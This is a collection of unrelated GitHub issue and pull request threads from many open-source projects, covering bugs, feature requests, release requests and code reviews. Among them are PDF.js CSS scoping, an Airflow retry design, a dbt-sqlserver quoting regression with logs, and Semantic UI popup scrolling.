Usage of :root makes CSS scopes difficult to handle

Hi,
I'm using the generic viewer (3.11.174) to build a custom PDF viewer in a web application.
https://www.npmjs.com/package/pdfjs-dist
I noticed that some CSS values in pdfjs are defined in the :root scope. This creates the risk of unwanted collisions, because it's not possible to wrap a CSS scope around it  - i.e. by just wrapping a class around the whole pdf_viewer.css content - without modifying the distributed source files. How could one handle it?
at usage:

Customize the distributed pdf-dist/web/pdf_viewer.css via build script (not great, risk of losing compatibility long term)
Use an iframe to separate documents (safest solution and real separation, but dependent on the custom viewer an iframe might create other difficulties).

in pdfjs:

Use a prefix: --highlight-bg-color  would be changed to --pdfjs-highlight-bg-color (similar to bootstrap  & not sure about breaking compatibility with older versions?)
Use a custom class on the < html > instead of :root  (see below). This way you can easily move the scope to a certain container. At the same time you can keep it as the default on the html root like now  (I don't see a problem right now, there are only a few occurrences of :root in the whole source code, but it's always possible to overlook a downside or a complex case with CSS specificity of course).

Example for 4:
now
:root {
  --highlight-bg-color: rgba(180, 0, 170, 1);
  --highlight-selected-bg-color: rgba(0, 100, 0, 1);
}

idea
.pdfjs-root {
  --highlight-bg-color: rgba(180, 0, 170, 1);
  --highlight-selected-bg-color: rgba(0, 100, 0, 1);
}

plus adding the class to the root html tag

<html class="pdfjs-root">...

I fully understand that the focus is to build a pdf viewer for Firefox. Anyhow, I was wondering about your thoughts on this subject.

Use an iframe to separate documents (safest solution and real separation, but dependent on the custom viewer an iframe might create other difficulties).

While it might not fit perfectly in every situation, please note that this is the solution that we've generally always recommend to prevent issues (not just with CSS).

Use a prefix: --highlight-bg-color  would be changed to --pdfjs-highlight-bg-color (similar to bootstrap  & not sure about breaking compatibility with older versions?)

Given the primary use-case for the PDF.js library (as the Firefox PDF Viewer), I'm not a big fan of this idea since it'll increase the size of the CSS (and JavaScript) code and also add additional overhead e.g. during review to enforce such naming-conventions.

Use a custom class on the < html > instead of :root (see below).

This has similar problems as above, and would also likely introduce additional issues for certain use-cases by forcing users to manually add CSS rules to the HTML (which will lead to additional support requests).

Possibly more use of CSS nesting could help somewhat here, however I'm sorry to say that I general there might not be a great solution for all of these cases.

You said you recommend to use an iframe also for other reasons. Is it possible to briefly name the other reasons you have in mind?

If the viewer-components are used standalone there may be issues depending on how the container-element is positioned, which could manifest itself as problems with scrolling elements into view or determining what pages are visible; refer to issue #11626.

Note that we've just changed both the textLayer and annotationLayer to use CSS nesting, since those cases were fairly straightforward, which should avoid scope-problems for those particular CSS-files.
However, in the general case such conversions aren't always all that straightforward since it's quite easy to accidentally break something in the process; hence this isn't really a high priority as far as I'm concerned.


Fix the delegating handler issue

My POSH mock tests always fail to record session because we have a wrapper layer and generated codes layer DataFactoryManagementClient, each has it's own HttpClient instance.
This fix will make sure when WithHandler is called on the Wrapper layer DataFactoryManagementClient, the handler is passed into the underlying client.
I choose just reset the HttpClient property here instead of adding handler into handler pipeline because:

we don't need two http clients
user should be able to just reset handler and overwriting any exsiting handling in the pipeline
also the session records nicely writes DataFactoryManagementClient as the user agent instead of Core.DataFactoryManagementClient

Hi @yitao-zhang, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

It looks like you're working at Microsoft (yitzhang). If you're full-time, we DON'T require a contribution license agreement.

If you are a vendor, or work for Microsoft Open Technologies, DO please sign the electronic contribution license agreement. It will take 2 minutes and there's no faxing! https://cla.azure.com.

TTYL, AZPRBOT;


Type errors in index.d.ts

There are typecheck errors in index.d.ts file in the 3.0.0 release:
node_modules/jest-fail-on-console/index.d.ts:45:29 - error TS2300: Duplicate identifier 'string'.

45     skipTest?: ({ testName: string, testPath: string }) => boolean
                               ~~~~~~

node_modules/jest-fail-on-console/index.d.ts:45:29 - error TS7031: Binding element 'string' implicitly has an 'any' type.

45     skipTest?: ({ testName: string, testPath: string }) => boolean
                               ~~~~~~

node_modules/jest-fail-on-console/index.d.ts:45:47 - error TS2300: Duplicate identifier 'string'.

45     skipTest?: ({ testName: string, testPath: string }) => boolean
                                                 ~~~~~~

node_modules/jest-fail-on-console/index.d.ts:45:47 - error TS7031: Binding element 'string' implicitly has an 'any' type.

45     skipTest?: ({ testName: string, testPath: string }) => boolean

I am also going to just mention that these are the same type of syntax errors that were pointed out and fixed in https://github.com/ValentinH/jest-fail-on-console/issues/22
Maybe there are automated tools you could use to catch this sort of thing? 😄

Thanks for the report.
Do you have any tools name to share that could detect these issues? May e directly tsc?

Alright, ill fix this tomorrow when I'm on a computer

Fixed in https://github.com/ValentinH/jest-fail-on-console/releases/tag/v3.0.1
I also added a typecheck step as suggested 👍


Export glyph list

Export missing glyphs as unicode range textfield

To add to this issue from #3, is it possible to export:

missing vs. expected character set range
missing vs. another font


Bump up .NET Framework target to 4.6.1?

Now that we're targeting .NET Standard 2.0, it will greatly simplify things if we also bump the .NET Framework to at least 4.6.1, according to Microsoft:
https://docs.microsoft.com/en-us/dotnet/standard/library-guidance/cross-platform-targeting
Thoughts?

I think what I'll do is in the next version, bump this one up, and if there are issues, we can multi-target the lower version with some compiler directives. I'll leave this open until it is published.

The target frameworks for v2.0 are:

.NET Framework 4.6.1
.NET Standard 2.0


Add triggering-pod label on job pods

Feature was documented, but not implemented. Also explain where 'job-name' label comes from.

Tests passed locally.


[Bug] transitive dependencies are not added to the lockfile

I think this is fixed. @vhyrro can you confirm?


[AIRFLOW-2659] Improve Robustness of Operators in Airflow during Infra Outages

JIRA

[x] My PR addresses the following: AIRFLOW-2659

Description

[x] Here are some details about my PR, including screenshots of any UI changes:

Problem:
If an infrastructure outage occurs on the Hadoop cluster, tasks that rely on those services will fail in Airflow, thereby causing SLA misses and deteriorating user confidence in Airflow (even if the outage was in another system). Only a fraction of tasks and DAGs have retries around certain operators/hooks and the retry attempts are not sufficient during an outage.
Goal: Automatically retry failures that occur due to infrastructure issues.
High-level design:

Retry decorator in the Hooks for easy annotation
Retry logic will be time-based (initial delay, max delay time, retry window, etc.)
Allow each Hook to determine the root-cause of the error (user, infra outage)
User-errors will be handled the way they are today.
Infra-errors will be able to retry for extended periods of time.
Configurable (optional, configurable per Hook)
Emit metrics using StatsD

See more detailed design doc in https://issues.apache.org/jira/secure/attachment/12928793/AIRFLOW_2659.pdf
Tests

[x] Unit tests passed

Commits

[x] My commits all reference JIRA issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Documentation

[ ] In case of new functionality, my PR adds documentation that describes how to use it.

When adding new operators/hooks/sensors, the autoclass documentation generation needs to be added.

Code Quality

[x] Passes git diff upstream/master -u -- "*.py" | flake8 --diff

Codecov Report

Merging #3547 into master will decrease coverage by 0.32%.
The diff coverage is 48.21%.

@@            Coverage Diff             @@
##           master    #3547      +/-   ##
==========================================
- Coverage   76.83%   76.51%   -0.33%
==========================================
  Files         204      206       +2
  Lines       15485    15633     +148
==========================================
+ Hits        11898    11961      +63
- Misses       3587     3672      +85

Impacted Files
Coverage Δ

airflow/hooks/hive_hooks.py
67.93% <41.89%> (-6.73%)
:arrow_down:

airflow/exceptions.py
84.44% <46.15%> (-15.56%)
:arrow_down:

airflow/utils/fault_manager.py
53.24% <53.24%> (ø)

airflow/hooks/retryable.py
75% <75%> (ø)

airflow/models.py
88.72% <0%> (+0.04%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 985a433...e70e83e. Read the comment docs.

@mistercrunch @bolkedebruin @saguziel @yrqls21
Would you be able to take a look at this PR?

This is also in Airflow itself. If an operator fail, it will be retried within a certain time period (up for retry state). Why not extend this logic instead of writing another wrapper around the operator.

@Fokko My apologies for replying 2 months later (I was working on other high priority projects).
Good question, the primary reason being that the retries in Airflow are mainly meant to handle transient errors where 3-5 retries suffice (or maybe 5 min window). This PR tries to address a larger infrastructure outage that can last several hours.
A user may have a legitimate case for only retrying 3 times (say a particular service is flaky at really high load).  Having shorter retries for transient errors ensures enough robustness for flaky services but not high enough that they completely mask unreliable services.
The solution I'm proposing tries to be more intelligent by applying business logic to the particular hook.
If it's indeed a transient-error, then retry according to the existing Airflow logic, but if it's a complete infrastructure outage, then perhaps retry for 2-4 hours. Luckily, services like Hive, Presto, Spark, etc., can provide enough context to make this determination.


75% of lines being dropped during fast large file updates

I am attempting to tail a very fast log files (100+ lines/sec). I'm having a problem where 75% of lines are being dropped when using watch.  When using watchFile about 5% of lines are dropped. It seems this library has a bug with very fast updates.  There are some other related issues open as well regarding this.  I'd love to see this bug fixed.
The following library seems to handle this situation without dropping any lines if it helps:
https://github.com/Juul/tail-stream

Next release (hoepfully within the next weeks) should have this problem fixed.

This shoiuld be fixed with version 1.2.4.


[async] Add goose::prelude macro definition to automatically use the needed things

Here is a good example from the futures crate:
https://docs.rs/futures/0.1.29/src/futures/lib.rs.html#260-265


model.load_weights is not working

I have a sequential model built in F#, and want to load the weights of a model trained in Python.
However, when I call
model.load_weights("path")
The weights in the model doesn't change at all.
I really hope we can load a model directly from a h5 file in the future, or at least get the load_weights working.
Thanks

HI @JackWang0522 did you solve by yourself this issue? I got an error too, but my error is trying to import the assembly HDF5CSharp, Version=<IP_ADDRESS>0.

I also get an error while loading h5 file using model.load_weights. I'm getting an exception NotImplementException after calling executing_eagerly_outside_functions. Not really sure what's happening. My model was also trained in Python and it runs fine in Python.

There are still some problems below:

after invoke model.fit(), model.weights is a empty list
model.save_weights() is work, but when I rebuild model and load weight and predict again, model.load_weights() is not work correctly.

//training model
Sequential model = BuildModel();
model.compile(optimizer: keras.optimizers.Adam(learning_rate), loss: keras.losses.MeanSquaredError(), metrics: new[] { "accuracy" });
model.fit(dataSet.X, dataSet.Y, batch_size: 2, epochs: 6, verbose: 0);//training model
model.save_weights(savePath); //.NETCore work, .netframework not work
Predict(model);
//Console echo:  [Predict] 7.098797

//load weight and predict
model = BuildModel();
model.compile(optimizer: keras.optimizers.Adam(learning_rate), loss: keras.losses.MeanSquaredError(), metrics: new[] { "accuracy" });
model.load_weights(savePath);
Predict(model);
//Console echo:  [Predict] 1.1410681


Change checkpoint interval dynamically

Currently, the only way to set a checkpoint interval is by passing in the checkpointIntervalMicros argument via the Arroyo API either when creating or updating the pipeline. However, when updating the pipeline, the pipeline doesn't dynamically update and only takes effect after a pipeline is stopped/started.
It would be nice to dynamically update the pipeline, so that the pipeline doesn't need to be stopped and started in order for the changes to occur.
(raised from Discord)

Addressed in #636


Popup: pass scroll target as a prop

Popup probably listening to the scroll of a window only. If popup in a div it stays on one position when scrolling the div. Would be great to have scroll target as a prop
I'm using 0.79.1 but the issue exists in the latest build.
Testcase
https://codesandbox.io/s/74mkmk5600

Should be checked after the 0.87.0 release, see https://github.com/Semantic-Org/Semantic-UI-React/issues/1126#issuecomment-481753996.

Checked, the issue is there 🤔 Fix is coming 🚀

@layershifter, was this released? I'm having the same issue on 0.87.3. Thanks

I have checked this on 0.87.3, https://codesandbox.io/s/semantic-ui-react-example-qkmtt
It works as was described in #3607.

Hi @lafritay seems like the issue is back on 2.0.3, https://codesandbox.io/s/semantic-ui-react-example-forked-wzh7y
Thanks

Hi @lafritay, seems like this issue is back on 2.0.3, https://codesandbox.io/s/semantic-ui-react-example-forked-3jl9z
Thanks

@chloehaDauphine I think that message may have been meant for @layershifter, just FYI

Sorry @lafritay wrong tag! Yes the message was meant for @layershifter

I'm facing the same issue on v2.0.3...
Is there some known workaround ?
With the codeandsandbox link posted by @chloehaDauphine, I played with boundary / rootBoundary / altBoundary popperModifiers params (like specified in popperJS doc), but without success.


Actualized iOS readme

Signed-off-by: artem.ivanov<EMAIL_ADDRESS>

Is this work for building an iOS framework locally, or it for publishing it to the spec directory? My understanding when I went through this originally was that it's for publishing and that only the CI/CD pipeline would be doing that. Is that the case for this or does it also support local building?


Added Crypt and Hash files.

Added:

[x] Crypt files,
[x] Hash files.

Fixed:

[x] Containers.

@MonsterFich Done


[App] Remove an example

What does this PR do?

Fixes #<issue_number>
Does your PR introduce any breaking changes? If yes, please list them.

Before submitting

[ ] Was this discussed/approved via a GitHub issue? (not for typos and docs)
[x] Did you read the contributor guideline, Pull Request section?
[x] Did you make sure your PR does only one thing, instead of bundling different changes together?
[ ] Did you make sure to update the documentation with your changes? (if necessary)
[ ] Did you write any new necessary tests? (not for typos and docs)
[ ] Did you verify new and existing tests pass locally with your changes?
[ ] Did you list all the breaking changes introduced by this pull request?
[ ] Did you update the CHANGELOG? (not for typos, docs, test updates, or minor internal changes/refactors)

PR review
Anyone in the community is welcome to review the PR.
Before you start reviewing, make sure you have read the review guidelines. In short, see the following bullet-list:

[ ] Is this pull request ready for review? (if not, please submit in draft mode)
[ ] Check that all items from Before submitting are resolved
[ ] Make sure the title is self-explanatory and the description concisely explains the PR
[ ] Add labels and milestones (and optionally projects) to the PR so it can be classified

Did you have fun?
Make sure you had fun coding 🙃
cc @borda

@tchaton what is the motivation?

@Borda @williamFalcon asked to hide Lite examples for now.

What does it mean for now, like today? or for the next release?

What does it mean for now, like today? or for the next release?

This came from @lantiga.


OpenAI fine-tuned models support

Does this work with fine-tuned models?

guidance is agnostic to what model is being used, so yes :)

Right, I mean I didn't see any examples in the docs. So I'm guessing, I use it like this?
guidance.llms.OpenAI("davinci:ft-xxx")


ERROR: pip's dependency resolver does not currently take into account all the packages that are installed.

Hi! I run the provided colab example, I get the following message on Google Colab after run !pip install colabcode:
Do you know what can I do to resolve this error?
thanks in advance.
!pip install colabcode
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
google-colab 1.0.0 requires tornado~=5.1.0; python_version >= "3.0", but you have tornado 6.1 which is incompatible.
Successfully installed anyio-3.5.0 colabcode-0.3.0 h11-0.13.0 json5-0.9.6 jupyter-client-6.1.12 jupyter-server-1.13.5 jupyterlab-3.0.7 jupyterlab-server-2.10.3 nbclassic-0.3.5 nest-asyncio-1.4.3 pyngrok-5.1.0 sniffio-1.2.0 tornado-6.1 uvicorn-0.13.1 websocket-client-1.2.3
WARNING: Upgrading ipython, ipykernel, tornado, prompt-toolkit or pyzmq can
cause your runtime to repeatedly crash or behave in unexpected ways and is not
recommended. If your runtime won't connect or execute code, you can reset it
with "Factory reset runtime" from the "Runtime" menu.
WARNING: The following packages were previously imported in this runtime:
[jupyter_client,tornado]
You must restart the runtime in order to use newly installed versions.

I have the same issue. Does anyone know how to solve it?


Enable naive async support in LLMPredictor and GPTTreeIndexBuilder

API changes

Expose use_async param in GPTTreeIndex ctor (default to False).
Expose use_async param in BaseGPTIndex.query API (default to False).

To propagate this param, we also add use_async to QueryRunner and BaseGPTIndexQuery ctors.

Summary

Support async predict in LLMPredictor
Support naive (per level) async index building in GPTTreeIndexBuilder

Use async event loop to process nodes in each level (still blocking before moving onto next level).

Add demo notebooks

next up is async index construction :)


[Regression] Error on table materialization when using non standard database names

Is this a regression in a recent version of dbt-core?

[X] I believe this is a regression in dbt-core functionality
[X] I have searched the existing issues, and I could not find an existing issue for this regression

Current Behavior
Table materialization fails on Azure SQL when database names contains hyphen characters, for instance: "foo-bar-db"
Throwing the following error when dbt run tries to build the table:
('42000', "[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near '-'. (102) (SQLMoreResults)")
Expected/Previous Behavior
This should execute the materialization into a table without issues, as it used to be.
Right now, during the materialization process it seems the server objects are not properly quoted.
They used to be enclosed within square brackets in previous versions, this way it avoided any issues if objects had a non standard name like in this case containing hyphen characters.
dbt 1.8.6 version generates this sentence which causes error due to the database name not being quoted:
EXEC('
            SELECT * INTO foo-bar-db.tbl.examtable__dbt_tmp FROM "foo-bar-db".tbl.examtable__dbt_tmp__dbt_tmp_vw
    OPTION (LABEL = ''dbt-sqlserver'');

Whereas dbt 1.7.4 used to have proper naming enclosure and generated the sentence like this:
EXEC('SELECT * INTO [foo-bar-db].[tbl].[examtable__dbt_tmp] FROM [foo-bar-db].[tbl].[examtable__dbt_tmp_temp_view];');
Steps To Reproduce

Try creating a new database in Azure SQL and name it using hyphens (i.e. my-precious-db)
Create a new model to be materialized as table (a table with just one column will do)
Execute dbt run

Relevant log output
[0m16:49:45.427118 [debug] [Thread-1  ]: SQL status: OK in 0.000 seconds
16:49:45.458416 [debug] [Thread-1  ]: dbt-sqlserver
16:49:45.474066 [debug] [Thread-1  ]: Applying DROP to: "foo-bar-db".tbl.examtable__dbt_tmp__dbt_tmp_vw
16:49:45.489676 [debug] [Thread-1  ]: dbt-sqlserver
16:49:45.489676 [debug] [Thread-1  ]: Using sqlserver connection "model.royal_bi.examtable"
16:49:45.489676 [debug] [Thread-1  ]: On model.royal_bi.examtable: /* {"app": "dbt", "dbt_version": "1.8.6", "profile_name": "default", "target_name": "dev", "node_id": "model.royal_bi.examtable"} */

        USE [foo-bar-db];
        select
            sch.name as schema_name,
            obj.name as view_name
        from sys.sql_expression_dependencies refs
        inner join sys.objects obj
        on refs.referencing_id = obj.object_id
        inner join sys.schemas sch
        on obj.schema_id = sch.schema_id
        where refs.referenced_database_name = 'foo-bar-db'
        and refs.referenced_schema_name = 'tbl'
        and refs.referenced_entity_name = 'examtable__dbt_tmp__dbt_tmp_vw'
        and refs.referencing_class = 1
        and obj.type = 'V'

    OPTION (LABEL = 'dbt-sqlserver');

16:49:45.520900 [debug] [Thread-1  ]: SQL status: OK in 0.000 seconds
16:49:45.527422 [debug] [Thread-1  ]: Using sqlserver connection "model.royal_bi.examtable"
16:49:45.527422 [debug] [Thread-1  ]: On model.royal_bi.examtable: /* {"app": "dbt", "dbt_version": "1.8.6", "profile_name": "default", "target_name": "dev", "node_id": "model.royal_bi.examtable"} */

    USE [foo-bar-db];
    EXEC('DROP view IF EXISTS tbl.examtable__dbt_tmp__dbt_tmp_vw;');

16:49:45.527422 [debug] [Thread-1  ]: SQL status: OK in 0.000 seconds
16:49:45.543080 [debug] [Thread-1  ]: Writing runtime sql for node "model.royal_bi.examtable"
16:49:45.558734 [debug] [Thread-1  ]: Using sqlserver connection "model.royal_bi.examtable"
16:49:45.558734 [debug] [Thread-1  ]: On model.royal_bi.examtable: /* {"app": "dbt", "dbt_version": "1.8.6", "profile_name": "default", "target_name": "dev", "node_id": "model.royal_bi.examtable"} */

    USE [foo-bar-db];
    USE [foo-bar-db];

    USE [foo-bar-db];
    EXEC('
        create view tbl.examtable__dbt_tmp__dbt_tmp_vw as select 1 as id, ''test_description'' as concept;
    ')

EXEC('
            SELECT * INTO foo-bar-db.tbl.examtable__dbt_tmp FROM "foo-bar-db".tbl.examtable__dbt_tmp__dbt_tmp_vw
    OPTION (LABEL = ''dbt-sqlserver'');

        ')

    EXEC('DROP VIEW IF EXISTS tbl.examtable__dbt_tmp__dbt_tmp_vw')

    use [foo-bar-db];
    if EXISTS (
        SELECT *
        FROM sys.indexes
        WHERE name = 'tbl_examtable__dbt_tmp_cci'
        AND object_id=object_id('tbl_examtable__dbt_tmp')
    )
    DROP index "tbl"."examtable__dbt_tmp".tbl_examtable__dbt_tmp_cci
    CREATE CLUSTERED COLUMNSTORE INDEX tbl_examtable__dbt_tmp_cci
    ON "tbl"."examtable__dbt_tmp"

16:49:46.007588 [debug] [Thread-1  ]: SQL status: OK in 0.000 seconds
16:49:46.007588 [debug] [Thread-1  ]: On model.royal_bi.examtable: ROLLBACK
16:49:46.007588 [debug] [Thread-1  ]: On model.royal_bi.examtable: Close
16:49:46.007588 [error] [Thread-1  ]: Unhandled error while executing target\run\royal_bi\models\datamarts\examtable\examtable.sql
('42000', "[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Incorrect syntax near '-'. (102) (SQLMoreResults)")
16:49:46.028714 [debug] [Thread-1  ]: Traceback (most recent call last):
  File "C:\Program Files\Python38\lib\site-packages\dbt\task\base.py", line 368, in safe_run
    result = self.compile_and_execute(manifest, ctx)
  File "C:\Program Files\Python38\lib\site-packages\dbt\task\base.py", line 314, in compile_and_execute
    result = self.run(ctx.node, manifest)
  File "C:\Program Files\Python38\lib\site-packages\dbt\task\base.py", line 415, in run
    return self.execute(compiled_node, manifest)
  File "C:\Program Files\Python38\lib\site-packages\dbt\task\run.py", line 298, in execute
    result = MacroGenerator(
  File "C:\Program Files\Python38\lib\site-packages\dbt\clients\jinja.py", line 84, in __call__
    return self.call_macro(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\dbt_common\clients\jinja.py", line 299, in call_macro
    return macro(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 768, in __call__
    return self._invoke(arguments, autoescape)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 782, in _invoke
    rv = self._func(*arguments)
  File "<template>", line 149, in macro
  File "C:\Program Files\Python38\lib\site-packages\jinja2\sandbox.py", line 394, in call
    return __context.call(__obj, *args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 303, in call
    return __obj(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\dbt\clients\jinja.py", line 84, in __call__
    return self.call_macro(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\dbt_common\clients\jinja.py", line 299, in call_macro
    return macro(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 768, in __call__
    return self._invoke(arguments, autoescape)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 782, in _invoke
    rv = self._func(*arguments)
  File "<template>", line 52, in macro
  File "C:\Program Files\Python38\lib\site-packages\jinja2\sandbox.py", line 394, in call
    return __context.call(__obj, *args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\jinja2\runtime.py", line 303, in call
    return __obj(*args, **kwargs)
  File "C:\Program Files\Python38\lib\site-packages\dbt\adapters\base\impl.py", line 379, in execute
    return self.connections.execute(sql=sql, auto_begin=auto_begin, fetch=fetch, limit=limit)
  File "C:\Program Files\Python38\lib\site-packages\dbt\adapters\fabric\fabric_connection_manager.py", line 530, in execute
    while cursor.nextset():
pyodbc.ProgrammingError: ('42000', "[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Incorrect syntax near '-'. (102) (SQLMoreResults)")

Environment
- OS: Windows 10.0
- Python: 3.8.8
- dbt (working version): 1.7.4
- dbt (regression version): 1.8.6

Which database adapter are you using with dbt?
other (mention it in "Additional Context")
Additional Context
Using dbt-sqlserver adapter on both regression and working version.
Here is the partial log (regression version) showing where the error occurrs:
regression_1_8_6.log
Here is the partial log (working version) showing no error
working_1_7_4.log
Both materializations were done using the same .sql file which contained a very simple statement as follows:
select 1 as id, 'test_description' as concept
it is important to note that in the project yml the quoting for the database is already set:
quoting:
database: true
schema: false
identifier: false

Thanks for reaching out @lito1515!
On first blush, this looks to me like an issue with dbt-sqlserver rather than dbt-core.
Could you open an issue here instead and see what the maintainers of dbt-sqlserver say?
In the meantime, I'm going to close this one, but we can re-open it if it turns out to be an issue in dbt-core.


Validate Advanced Tips (BrowserMob Proxy)

Escalating to @diemol for: Unable to validate code / unable to use BrowserMob Proxy
Tips can be found in updated folder (accidentally merged Draft PR)

Needs to be done:

[ ] Code validated/fixed by expert, as necessary
[ ] Edit instructions as necessary after code is validated

Tips :

[ ]  Tip 17 (link)
[ ]  Tip 48 (link)
[ ]  Tip 49 (link)
[ ]  Tip 64 (link)
[ ]  Tip 66 (link)
[ ]  Tip 67 (link)
[ ]  Tip 68 (link)
(7 tips total)

I see these tips were already reviewed and merged.


d without arguments should redirect to home directory

IDK if it's just my current shell or whether the behaviour has changed, but previously just d by itself would take me to the home directory, whereas now it complains that argument is required.
Certainly from my perspective it would be more intuitive to have d mimic cd, which would return to home.

Also I can't tag home even if I wanted to:
> tag ~ home
Nothing to do


Ledger writes not happening when an Endorser connection exists and issuer upgraded to 0.10.1

When calling /revocation/active-registry/{cred_def_id}/rotate on existing, active RegRegistries, the existing registries are decommissioned but the new RevRegistries are not getting created.
Scenario and details can be found here; https://github.com/bcgov/DITP-DevOps/issues/109

In the instance where this was discovered, we are finding that all attempts to create a RevReg are silently failing — the ledger transaction is not being written. As such, this may not be an issue with /rotate at all, and may just be an issue with this deployment.  It had previously been able to create RevRegDefs before as needed...

Based on the latest findings in the linked ticket, and the fact that everything was working fine before the upgrade, I'm skeptical this is just and issue with the deployment.

Manually creating the RevRegDefs through the admin interface fails as well.

Issue is specifically #2475 , and should be resolved by #2476 .

The updates contained in the 0.10.2-rc0 release fixed the reported issue and I was able to repair the agent's RevReg state.  See the linked issue for details.


Move Microsoft.AspNetCore.Mvc.ApplicationParts to Microsoft.Extensions.somewhere

When I am writing my projects, things that I have met are like these:
I need type scanning and attribute based configuration for modules.
There is an application part manager in Microsoft.AspNetCore.Mvc.ApplicationParts which is well featured for the requirement.
It is only in Mvc so I cannot simply use it for other scenes.
I have to create my own for a unified module management of my projects.
I am using Mvc so I need to create an integration from my own implementation to Microsoft.AspNetCore.Mvc.ApplicationParts
What a bad practice.
The type scanning things are compatible with most projects that are managed by IoC containers. It is reasonable to move it elsewhere out of AspNetCore, making it a mainstream standard implementation of type scanning things, just like System.IServiceProvider and Microsoft.Extensions.DependencyInjection for dependency injection things.
Thus there would be a unified way for type scanning no matter Mvc is used.
For example, the SignalR hubs would be able to be scanned and the routing would be configured by attributes, just like Mvc controllers, and the user customized services that matches a certain convention would be auto registered, without any other external redundant scanning.

Thanks for contacting us, @AlseinX.
We have no plans to change this. Besides, it'll be a breaking chnage.


Analytics

Many things done here:
1- I took a look at the most recent changes in milo-college and updated the stock repository accordingly, including the 404 and the fallback
2- I replaced the outdated fetchPlaceholders() function by deleting it and instead now importing replaceKey() from milo.
3- I also removed createTag() from this repo and we are importing it from milo instead
4- Added analytics to all the blocks and links!
Using decorateBlockAnalytics() for each custom block, and using decorateLinkAnalytics() for each link on the page.
Authors block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/authors

Banner block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/banner

Featured columns block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/featured-columns

Image carousel block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/image-carousel

Image Rows block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/image-rows

In-article-cta block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/in-article-cta

Page-feed block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/page-feed

Video course block
https://analytics--stock--webistry-development.hlx.page/docs/authoring/blocks/course

Separator block
(this block is only being used in the homepage, so there is no block-sample page for it)

going to split into multiple PRs


Validation fails when using Draco with no fallback

When using Draco compression as a required extension, the validator complains that my accessors for the uncompressed data are invalid because they don't have bufferViews.
throw ValidationException("Non-Sparse Accessor " + accessor.id + ": does not have a bufferView");
However, according to the Draco extension spec, they should not have bufferViews defined.
draco_test.zip

Should be fixed in https://github.com/Microsoft/glTF-SDK/pull/16
Cheers

Checked into master.


Bump version required v0.11.4

I think we should bump version.
last release was v0.11.3 on Feb 16 ( less than 1 year ago)
thanks

@kennethreitz could you please release new full python3.6 compat version (see: #263)?

I just opened Issue #267 cause pip version is broken on 3.6, even though installing straight from master works fine. This should be republished to pip.
In the meantime, the following will do:
pip install git+https://github.com/kennethreitz/tablib.git

Done. v0.11.4 released.

\o/


Added suggestion how big should be the cluster

Merging without running code tests, as including only documentation changes.


2.1.4 release?

hi,
I just bumped into the stratum 1 identifier issue that I note was fixed on ec495e09f69fead9b31e8d28e30a8c9188c447cb.
It seems that is already in release 2.1.4 that was tagged in 2020, but as of now rubygems still has 2.1.3 as the latest.
Can we expect 2.1.4 (or later) to be pushed to rubygems?

@zencoder would it be possible to publish the new version on rubygems?


[269] Request for Wallet Integration Options

Title:
Request for Wallet Integration Options
Description:
wallet redirection breaks the smooth UX, now we have many other options like MeteorWallet / browser extension wallets, is this possible to use these wallets as an example instead?
Summary:
The customer is suggesting alternative wallet options to improve user experience. They mention that the current wallet redirection disrupts the smoothness of the user journey and propose MeteorWallet or browser extension wallets as potential alternatives. Consider exploring these options to enhance the user interface based on customer feedback.
Info
Reported by: Guest<EMAIL_ADDRESS>- Open in Gleap
Location: HK
Type: 🚨 BUG
🔗 Open share link
🌍 Open ticket in Gleap
Metadata
browserName: Chrome(<IP_ADDRESS>)
userAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
browser: Chrome
systemName: Linux
sessionDuration: 149699
devicePixelRatio: 1
screenWidth: 1920
screenHeight: 1200
innerWidth: 1920
innerHeight: 1083
currentUrl: https://docs.near.org/build/web3-apps/integrate-contracts#calling-change-methods
language: en-US
sdkVersion: 13.7.3
sdkType: javascript
environment: prod

Internal note 📝: The customer is suggesting alternative wallet options to improve user experience. They mention that the current wallet redirection disrupts the smoothness of the user journey and propose MeteorWallet or browser extension wallets as potential alternatives. Consider exploring these options to enhance the user interface based on customer feedback.


feat(whitelist): Add support for IP whitelist

ref https://github.com/deis/controller/issues/240

Current coverage is 86.11% (diff: 85.33%)

Merging #1010 into master will increase coverage by <.01%

@@             master      #1010   diff @@
==========================================
  Files            28         28
  Lines          3175       3247    +72
  Methods           0          0
  Messages          0          0
  Branches        540        552    +12
==========================================
+ Hits           2734       2796    +62
- Misses          295        302     +7
- Partials        146        149     +3

Powered by Codecov. Last update 6afa4f2...6847d38


Bad things happen when a DaemonSet with hostNetwork:true is deployed

When deploying a DaemonSet with hostNetwork set to true an assortment of network related issues happened. kube-apiserver was not reachable. Hosts could not be SSHed in to, conduit gui could not connect to conduit components etc.
